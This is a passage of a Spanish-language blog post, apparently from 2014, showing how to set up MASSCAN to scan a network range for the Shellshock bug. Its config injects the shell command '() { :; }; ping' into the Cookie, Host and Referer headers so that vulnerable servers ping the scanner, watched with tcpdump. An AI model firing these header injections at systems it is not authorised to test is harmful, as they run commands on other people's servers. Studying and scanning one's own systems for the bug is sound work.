&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
make&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
ahora debemos crear un archivo de &quot;configuración&quot; para realizar el escaneo&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
objetivo-ip = xxxxx/24&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
port = 80&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
= banners verdadera&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
http-header[Cookie] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
http-header[Host] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
http-header[Referer] = () { :; }; ping -c 3 xxx.xxx.xxx.xxx&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
Donde las xxx.xxx.xxx.xxx colocar la IP de la maquina la cual hace el scan y asi las maquinas vulnerables hace ping a esa IP.&lt;br /&gt;
&lt;br /&gt;
Esta configuración de &lt;b&gt;MASSCAN&lt;/b&gt; inyecta un comando shell en las cabeceras HTTP Cookies, Host y Referer. Si el servidor remoto es vulnerable a la falla de seguridad &quot;Shellshock&quot; y &amp;nbsp;una de las variables de la Cookie,&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Host y Referer&amp;nbsp;&lt;/b&gt;se utilizan como variables de entorno cuando se llama a un módulo de CGI.&lt;br /&gt;
En el caso de nuestra configuración si el servidor es vulnerable a &lt;b&gt;&quot;shellshock&quot; &lt;/b&gt;deberíamos recibir un ping de esa maquina.&lt;br /&gt;
&lt;br /&gt;
Ejecutamos dos terminales en la maquina, en el primer terminar se debe ejecutar &lt;b&gt;TCPDUMP &lt;/b&gt;con el fin de mostrarnos todas las solicitudes de ping entrantes y nos permita identificar todas las maquinas vulnerables.&lt;br /&gt;
&lt;ol style=&quot;margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
sudo tcpdump -v icmp&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
en la segunda terminal ejecuto &lt;b&gt;MASSCAN &lt;/b&gt;con la configuración anteriormente creada&lt;br /&gt;
&lt;ol style=&quot;margin: 0px; padding: 0px 0px 0px 48px; text-align: start;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none; background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, monospace, serif; font-size: 12px; line-height: 21px;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background: rgb(255, 255, 255); border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
sudo masscan -c masscan.conf&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
este es el resultado alojado.&lt;br /&gt;
&lt;img src=&quot;https://imagizer.imageshack.us/v2/957x174q90/912/qnK56y.png&quot; /&gt;
&lt;br /&gt;
En el cual veo respuesta de una maquina vulnerable.&lt;br /&gt;
&lt;br /&gt;
Esto es todo amigos espero que les sirva de algo, a mi me ha gustado jugar con esta herramienta y sobre todo con la nueva vul. ShellShock jeje&lt;br /&gt;
&lt;br /&gt;
Hasta otra ;)&lt;br /&gt;
mas información sobre la herramienta:&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;http://blog.erratasec.com/2013/09/masscan-entire-internet-in-3-minutes.html#.VDWxb_mSySo&quot;&gt;http://blog.erratasec.com/2013/09/masscan-entire-internet-in-3-minutes.html#.VDWxb_mSySo&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/4293755129367581781/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/probando-el-nuevo-popular-port-scaner.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/4293755129367581781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/4293755129367581781'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/10/probando-el-nuevo-popular-port-scaner.html' title='Probando el nuevo popular Port Scaner MASSCAN -  ShellShock'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>